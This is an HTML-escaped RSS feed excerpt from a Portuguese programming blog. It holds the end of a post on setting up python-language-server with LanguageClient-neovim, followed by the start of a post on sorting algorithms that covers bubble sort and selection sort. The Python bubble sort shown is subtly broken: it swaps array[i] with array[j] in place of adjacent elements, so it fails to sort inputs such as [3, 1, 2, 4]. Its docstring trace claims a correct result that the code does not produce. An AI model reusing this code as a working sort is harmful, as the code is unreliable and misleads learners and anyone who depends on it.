Uma alternativa mais prática é tê-lo instalado em uma instância global do &lt;a href=&quot;/2016/04/26/o-simples-e-poderoso-pyenv.html&quot; title=&quot;O simples e poderoso Pyenv&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;. Fica a seu critério o destino
da instalação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install python-language-server&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O próprio servidor identificará quais ferramentas você tem instaladas e habilitará determinada capacidade proporcionada por tal ferramenta (por exemplo, se o &lt;em&gt;Rope&lt;/em&gt; estiver instalado,
será capaz de fazer &lt;em&gt;renaming&lt;/em&gt;). Mas dentre elas o &lt;em&gt;Jedi&lt;/em&gt; é fundamental, e por isso é instalada automaticamente como dependência do &lt;em&gt;PyLS&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Nesse momento temos grande parte das funcionalidades cobertas pelo &lt;em&gt;LSP&lt;/em&gt; habilitadas pelo servidor. Uma muito útil, que ainda está faltando, é o &lt;em&gt;renaming&lt;/em&gt;. Segundo a lista acima, conseguimos
tal capacidade ao instalar o &lt;em&gt;Rope&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install &apos;python-language-server[rope]&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se você está interessado em utilizar a configuração padrão do &lt;em&gt;python-language-server&lt;/em&gt;, uma opção mais prática é instalar todos os &lt;em&gt;providers&lt;/em&gt; de uma só vez:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install &apos;python-language-server[all]&apos;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para fins didáticos estamos resolvendo as dependências manualmente. Há uma outra forma de gerenciar quais &lt;em&gt;providers&lt;/em&gt; serão utilizados, que discutiremos a seguir.&lt;/p&gt;
&lt;p&gt;Para termos o &lt;em&gt;isort&lt;/em&gt; e o &lt;em&gt;Black&lt;/em&gt; habilitados como ferramentas de formatação, precisaremos recorrer à &lt;em&gt;plugins&lt;/em&gt; de terceiros:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ pip install pyls-isort pyls-black&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Infelizmente, o &lt;code class=&quot;language-text&quot;&gt;pyls-black&lt;/code&gt; exige que você não tenha o &lt;code class=&quot;language-text&quot;&gt;autopep8&lt;/code&gt; instalado para funcionar. Como não há um controle manual para decidir qual será usado,
a melhor forma é garantindo que apenas uma das duas extensões esteja instalada.&lt;/p&gt;
&lt;p&gt;Temos tudo o que é necessário para o lado do servidor.&lt;/p&gt;
&lt;h3&gt;Configurando o cliente&lt;/h3&gt;
&lt;p&gt;A melhor forma de instalarmos o &lt;em&gt;LanguageClient-neovim&lt;/em&gt; é através do utilitário &lt;code class=&quot;language-text&quot;&gt;Plug&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;autozimu/LanguageClient-neovim&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    \ &lt;span class=&quot;token string&quot;&gt;&apos;branch&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;next&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    \ &lt;span class=&quot;token string&quot;&gt;&apos;do&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;bash install.sh&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    \ &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

Plug &lt;span class=&quot;token string&quot;&gt;&apos;junegunn/fzf&apos;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ele funciona muito bem com o &lt;a href=&quot;https://github.com/junegunn/fzf.vim&quot; title=&quot;Veja o repositório oficial do projeto&quot;&gt;&lt;em&gt;fzf&lt;/em&gt;&lt;/a&gt;, portanto, é uma boa pedida termos os dois disponíveis.&lt;/p&gt;
&lt;p&gt;O próximo passo é informar ao cliente como encontrar o servidor da linguagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;vim&quot;&gt;&lt;pre class=&quot;language-vim&quot;&gt;&lt;code class=&quot;language-vim&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;&quot; ~/.vimrc&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; g&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;LanguageClient_serverCommands &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    \ &lt;span class=&quot;token string&quot;&gt;&apos;python&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;pyls&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    \ &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ainda precisamos dizer ao &lt;em&gt;LSP&lt;/em&gt; sobre as nossas preferências. O arquivo abaixo está situado na raíz do projeto que estou trabalhando,
mais especificamente em &lt;code class=&quot;language-text&quot;&gt;./.vim/settings.json&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;json&quot;&gt;&lt;pre class=&quot;language-json&quot;&gt;&lt;code class=&quot;language-json&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;&quot;pyls&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;configurationSources&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;flake8&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token property&quot;&gt;&quot;plugins&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;token property&quot;&gt;&quot;yapf&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token property&quot;&gt;&quot;enabled&quot;&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;false&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para fins didáticos adicionei o &lt;code class=&quot;language-text&quot;&gt;yapf&lt;/code&gt; à configuração. Alguns &lt;em&gt;plugins&lt;/em&gt; possuem a flexibilidade de mesmo que instalados, poderem ser desabilitados.&lt;/p&gt;
&lt;p&gt;Pronto! O cliente está configurado, e com os seguintes comandos você pode explorar todas as funcionalidades do &lt;em&gt;LSP&lt;/em&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;Ctrl+x Ctrl+o&lt;/code&gt;: &lt;em&gt;Auto completion&lt;/em&gt; via &lt;em&gt;Omni completion&lt;/em&gt; (o &lt;a href=&quot;https://github.com/Shougo/deoplete.nvim&quot; title=&quot;Dark powered asynchronous completion framework for neovim/Vim8&quot;&gt;&lt;em&gt;Deoplete&lt;/em&gt;&lt;/a&gt; é uma boa pedida)&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_definition()&lt;/code&gt;: &lt;em&gt;Go to definition&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_hover()&lt;/code&gt;: &lt;em&gt;Hover&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_references()&lt;/code&gt;: &lt;em&gt;References&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_documentSymbol()&lt;/code&gt;: Lista de &lt;em&gt;Symbols&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_rename()&lt;/code&gt;: &lt;em&gt;Renaming&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call LanguageClient#textDocument_formatting()&lt;/code&gt;: &lt;em&gt;Formatting&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;:call :call LanguageClient_contextMenu()&lt;/code&gt;: Menu de contexto mostrando todas as opções disponíveis&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 640px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b71dd9238b6c9316981247af00919559/6af66/vim-lsp-autocomplete.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 57.8125%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABaklEQVQoz5WQ2U6DUBCGeROr0I3Ssp59A0o5IAW7JqYxMd73wus+vXQxGm0TTb5M5uL/zswZ43n7Us4bHmupNKUKIY6IwEQem0/gBQa/+iMGcVMaTR2Pmb3wwfLvTa/TcTp3I6vrW73APNVbGCmu5vmq1MsY5FwWQhaqXCfNjvA8BEqoMohkfwiGI/QbQ6VzXS6LYjnLmqJa57On5nW/eT+IpFJxyYSOkCJcTVzaPjGw4XcMwrRQRQQSTDPbwWY36Fp+1/KGNjw/P7g08Id5lCHO1pvdeELuzUlvEHKZT1wy9ljfvpL+KTM4q+tVGFJ7FAUhXSy3lCWeT08Dv0WvTvY82dSbXNeYJq5Pq/lqmj0CoAibtci45EJDlEDMABLnX3zJlGi5qCBJev2oHRWEsk3YDjqfp639YVtvrO25MookpVPKNcISIHYrek0Oknp/yNZvCAgRHw/+D9l2CI4rripCUsLSduE/mi0fnGKT16MFjt0AAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Exemplo do LSP funcionando com o Vim&quot;
        title=&quot;Exemplo do LSP funcionando com o Vim&quot;
        src=&quot;/static/b71dd9238b6c9316981247af00919559/6af66/vim-lsp-autocomplete.png&quot;
        srcset=&quot;/static/b71dd9238b6c9316981247af00919559/8514f/vim-lsp-autocomplete.png 192w,
/static/b71dd9238b6c9316981247af00919559/804b2/vim-lsp-autocomplete.png 384w,
/static/b71dd9238b6c9316981247af00919559/6af66/vim-lsp-autocomplete.png 640w&quot;
        sizes=&quot;(max-width: 640px) 100vw, 640px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Exemplo do LSP funcionando com o Vim&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Agora é só configurar os &lt;em&gt;key bindings&lt;/em&gt; e correr para o abraço :)&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.kieranbamforth.me/blog/vim-lsp.html&quot;&gt;kieranbamforth.me - Vim + Language Server Protocol—in 2019&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://langserver.org/&quot;&gt;Langserver.org - A community-driven source of knowledge&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://microsoft.github.io/language-server-protocol/&quot;&gt;Language Server Protocol official page&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.thisisvini.com/vim-better-go-to-definition-completion/&quot;&gt;This is Vini - Vim: Better &quot;Go to definition&quot; and completion using ALE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/JSON-RPC&quot;&gt;Wikipedia - JSON-RPC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Algoritmos de ordenação - Parte 1]]></title><description><![CDATA[Voltamos a falar sobre algoritmos, e
dessa vez o tópico é sobre ordenação de elementos. As linguagens de programação abstraem
toda a…]]></description><link>https://klauslaube.com.br/2019/05/10/algoritmos-de-ordenacao-parte-1.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/05/10/algoritmos-de-ordenacao-parte-1.html</guid><pubDate>Fri, 10 May 2019 10:45:00 GMT</pubDate><content:encoded>&lt;p&gt;Voltamos a falar sobre &lt;a href=&quot;/tag/algoritmos.html&quot; title=&quot;Leia mais sobre Algoritmos&quot;&gt;algoritmos&lt;/a&gt;, e
dessa vez o tópico é sobre ordenação de elementos. As linguagens de programação abstraem
toda a complexidade envolvida para nós, mas mais que fundamental, compreender como tais algoritmos funcionam é mais um passo
adiante no aprendizado das Ciências da Computação.&lt;/p&gt;
&lt;h2&gt;Definição&lt;/h2&gt;
&lt;p&gt;Algoritmos de ordenação (ou &lt;em&gt;Sorting Algorithms&lt;/em&gt;) podem ser &lt;a href=&quot;https://brilliant.org/wiki/sorting-algorithms/&quot; title=&quot;Sorting Algorithms no Brilliant&quot;&gt;definidos como&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(...) an algorithm made up of a series of instructions that takes an array as input, performs specified operations on the array, sometimes called a list, and outputs a sorted array. (...) There are many factors to consider when choosing a sorting algorithm to use.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Resumidamente, é o tipo de algoritmo que tem por entrada um &lt;em&gt;array&lt;/em&gt; e organiza os seus items seguindo uma ordem. Um fator a se considerar é que, as dimensões do &lt;em&gt;array&lt;/em&gt;, e as limitações de espaço, podem influenciar na escolha do algoritmo que será utilizado.&lt;/p&gt;
&lt;h2&gt;Bubble sort&lt;/h2&gt;
&lt;p&gt;O &lt;em&gt;Bubble sort&lt;/em&gt; é a escolha mais comum quando começamos a estudar sobre algoritmos e ordenação, por sua simplicidade e por dar uma ideia geral sobre como funcionam tais algoritmos.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/d4c88b8cc620af6af67c33910899fcf7/algoritmos-bubble-sort.gif&quot; alt=&quot;Passos do Bubble sort (wikipedia.org)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Os passos são os seguintes:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Compare &lt;code class=&quot;language-text&quot;&gt;A[0]&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;A[1]&lt;/code&gt;. Se &lt;code class=&quot;language-text&quot;&gt;A[0]&lt;/code&gt; for maior que &lt;code class=&quot;language-text&quot;&gt;A[1]&lt;/code&gt;, troque os elementos;&lt;/li&gt;
&lt;li&gt;Vá para &lt;code class=&quot;language-text&quot;&gt;A[1]&lt;/code&gt;. Se &lt;code class=&quot;language-text&quot;&gt;A[1]&lt;/code&gt; for maior que &lt;code class=&quot;language-text&quot;&gt;A[2]&lt;/code&gt;, troque os elementos; Repita o processo para cada par de elementos até o final do &lt;em&gt;array&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Repita os passos &lt;code class=&quot;language-text&quot;&gt;1&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;2&lt;/code&gt; &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; vezes.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;E é daí que vem seu nome: Pegue o valor mais alto, e &quot;bubble it up&quot; até o fim do &lt;em&gt;array&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Abaixo o algoritmo representado em código &lt;em&gt;Python&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;bubble_sort&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token triple-quoted-string string&quot;&gt;&quot;&quot;&quot;
    Teste de mesa
    -------------

    array = []:
        - `i` é `-1`, não cai no laço `while` e retorna array sem modificações

    array = [1]:
        - `i` é `0`, não cai no laço `while` e retorna array sem modificações

    array = [1, 2]:
        - `i` é `1`, entra no laço `while`
        - `range(1)` resulta em `[0]`
        - `j` é `0`. `j[0]` é menor que `j[1]`. Não faz swap
        - Sai do laço `for`
        - `i` é `0`. Sai do laço `while`
        - Retorna array sem modificações

    array = [3, 1, 2, 4]:
        - `i` é `3`, entra no laço `while`
        - `range(3)` resulta em `[0, 1, 2]`
        - `j` é `0`. `j[0]` é maior que `j[1]`. Faz swap
        - `array` fica [1, 3, 2, 4]
        - `j` é `1`. `j[1]` é maior que `j[2]`. Faz swap
        - `array` fica [1, 2, 3, 4]
        - `j` é `2`. `j[2]` é menor que `j[3]`. Não faz swap
        - Sai do laço `for`
        - `i` é `2`, entra no laço `for [0, 1]`. Itens estão ordenados. Não faz swap
        - Sai do laço `for`
        - `i` é `1`, entra no laço `for [0]`. Itens estão ordenados. Não faz swap
        - `i` é `0`. Sai do laço `while`
        - Retorna array ordenado
    &quot;&quot;&quot;&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;swap&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; j&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

    i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; j &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;j &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
                swap&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; j&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
        i &lt;span class=&quot;token operator&quot;&gt;-=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;

    &lt;span class=&quot;token comment&quot;&gt;# Ao alterar o array in-place, não há reais motivos para retorná-lo&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; array&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Running-time complexity&lt;/em&gt;: Para cada elemento do &lt;em&gt;array&lt;/em&gt;, o algoritmo faz &lt;code class=&quot;language-text&quot;&gt;n - 1&lt;/code&gt; comparações. Considerando que ele percorre todo o array fazendo &lt;code class=&quot;language-text&quot;&gt;n - 1&lt;/code&gt; comparações, em &lt;a href=&quot;/2018/11/09/analise-assintotica.html&quot; title=&quot;Análise assintótica&quot;&gt;&lt;em&gt;big O notation&lt;/em&gt;&lt;/a&gt; temos &lt;code class=&quot;language-text&quot;&gt;O(n^2)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;Space complexity&lt;/em&gt;: Como operamos a troca de elementos (&lt;code class=&quot;language-text&quot;&gt;swap&lt;/code&gt;), não precisamos de nenhuma outra estrutura de dados para armazenar o resultado da operação, com isso, temos complexidade de espaço de &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Selection sort&lt;/h2&gt;
&lt;p&gt;Outro algoritmo simples e intuitivo, e &lt;a href=&quot;https://www.quora.com/Which-is-faster-selection-sort-or-bubble-sort&quot; title=&quot;Which is faster: selection sort or bubble sort?&quot;&gt;ligeiramente mais performático&lt;/a&gt;, é o &lt;em&gt;Selection sort&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/f20b8898585b3ca03843d93ce2c35a68/algoritmos-selection-sort.gif&quot; alt=&quot;Passos do Selection Sort (wikipedia.org)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Os passos podem ser resumidos em:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Encontre o menor valor;&lt;/li&gt;
&lt;li&gt;Troque o menor valor com o primeiro item do &lt;em&gt;array&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o segundo menor valor;&lt;/li&gt;
&lt;li&gt;Troque o segundo menor valor com o segundo item do &lt;em&gt;array&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;Repita a operação até o &lt;em&gt;array&lt;/em&gt; estar ordenado.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/b94efd9b044adf58624b636b64642a67/07f3a/mad-max-ordem.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 56.25%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAALABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAgP/xAAUAQEAAAAAAAAAAAAAAAAAAAAC/9oADAMBAAIQAxAAAAHohueHbFwP/8QAGRABAQADAQAAAAAAAAAAAAAAAgEDEjEh/9oACAEBAAEFAn4VkNYp1zW7jp5//8QAFxEBAAMAAAAAAAAAAAAAAAAAAAESQf/aAAgBAwEBPwHVYf/EABgRAAIDAAAAAAAAAAAAAAAAAAABERIh/9oACAECAQE/AZwuz//EABkQAAIDAQAAAAAAAAAAAAAAAAABAhAhQf/aAAgBAQAGPwIXcFpK/wD/xAAZEAEAAwEBAAAAAAAAAAAAAAABABEhQTH/2gAIAQEAAT8hY1vJVmcMETrs9g4FQirgzP/aAAwDAQACAAMAAAAQ2y//xAAWEQEBAQAAAAAAAAAAAAAAAAABERD/2gAIAQMBAT8QgQZf/8QAFhEBAQEAAAAAAAAAAAAAAAAAAREQ/9oACAECAQE/EKacP//EABoQAQACAwEAAAAAAAAAAAAAAAEAESExQVH/2gAIAQEAAT8QouLVdzyF6OsTPsxk5tu4IQjFNVe4rAUGoTcT/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Image do filme MadMax&quot;
        title=&quot;Um mundo sem ordem é um mundo infeliz (tasteofcinema.com)&quot;
        src=&quot;/static/b94efd9b044adf58624b636b64642a67/07f3a/mad-max-ordem.jpg&quot;
        srcset=&quot;/static/b94efd9b044adf58624b636b64642a67/7809d/mad-max-ordem.jpg 192w,
/static/b94efd9b044adf58624b636b64642a67/4ecad/mad-max-ordem.jpg 384w,
/static/b94efd9b044adf58624b636b64642a67/07f3a/mad-max-ordem.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Um mundo sem ordem é um mundo infeliz (tasteofcinema.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
